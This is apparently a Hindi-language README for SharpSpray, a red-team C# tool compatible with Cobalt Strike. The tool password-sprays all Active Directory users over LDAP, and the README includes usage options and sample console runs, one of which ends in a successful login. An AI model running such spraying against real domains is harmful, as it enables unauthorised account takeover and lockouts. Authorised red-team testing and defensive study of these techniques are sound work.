
C# टूल जो LDAP के माध्यम से Active Directory उपयोगकर्ताओं के विरुद्ध स्वचालित पासवर्ड स्प्रेइंग हमलों के लिए है, जिसमें कॉन्फ़िगरेबल देरी और पासवर्ड सूचियाँ शामिल हैं, और इसे रेड टीम संचालन के लिए डिज़ाइन किया गया है।
यह प्रोजेक्ट मेरे PowerSpray.ps1 स्क्रिप्ट का C# पोर्ट है। SharpSpray एक सरल कोड सेट है जो LDAP का उपयोग करके डोमेन के सभी उपयोगकर्ताओं के विरुद्ध पासवर्ड स्प्रेइंग हमला करने के लिए है और Cobalt Strike के साथ संगत है।
https://github.com/jnqpblc/Misc-PowerShell/blob/master/PowerSpray.ps1
डिफ़ॉल्ट रूप से यह डोमेन से UserList स्वचालित रूप से उत्पन्न करेगा।
डिफ़ॉल्ट रूप से यह वर्तमान दिनांक का उपयोग करके PasswordList स्वचालित रूप से उत्पन्न करेगा।
सावधान रहें कि किसी भी खाते को लॉक न करें।
SharpSpray.exe
--Seeds [ A comma-separated list of passwords to as a seed to the internal list generator. Eg. Password,Welcome,Company ]
--Passwords [ A comma-separated list of passwords to use instead of the internal list generator. Eg. Password1,Password19,Company19,Welcome19 ]
--Delay [ The delay time between guesses in millisecounds. Eg. 300 ]
--Sleep [ The number of minutes to sleep between password cycles. Eg. 15 ]
C:\Users\jnqpblc\Desktop>SharpSpray.exe --Sleep 15
[+] Successfully collected 42 usernames from Active Directory.
[*] The Lockout Threshold for the current domain is 10.
[*] The Min Password Length for the current domain is 10.
[+] Successfully generated a list of 64 passwords.
[*] Starting password spraying operations.
[*] Using the default delay of 1000 milliseonds between attempts.
[*] Using password Winter19
^C
C:\Users\jnqpblc\Desktop>SharpSpray.exe --Seeds Password,Welcome,Company --Sleep 15
[+] Successfully collected 42 usernames from Active Directory.
[*] The Lockout Threshold for the current domain is 10.
[*] The Min Password Length for the current domain is 10.
[+] Successfully generated a list of 42 passwords.
[*] Starting password spraying operations.
[*] Using the default delay of 1000 milliseonds between attempts.
[*] Using password Password19
^C
C:\Users\jnqpblc\Desktop>SharpSpray.exe --Passwords ItsNotWinter! --Sleep 15 --Delay 300
[+] Successfully collected 42 usernames from Active Directory.
[*] The Lockout Threshold for the current domain is 10.
[*] The Min Password Length for the current domain is 10.
[+] Successfully generated a list of 1 passwords.
[*] Starting password spraying operations.
[*] Using a delay of 300 milliseonds between attempts.
[*] Using password ItsNotWinter!
[+] Successfully authenticated with jnqpblc::ItsNotWinter!
[*] Completed all rounds with password ItsNotWinter!
[*] Now the script will sleep for 15 minutes.
^C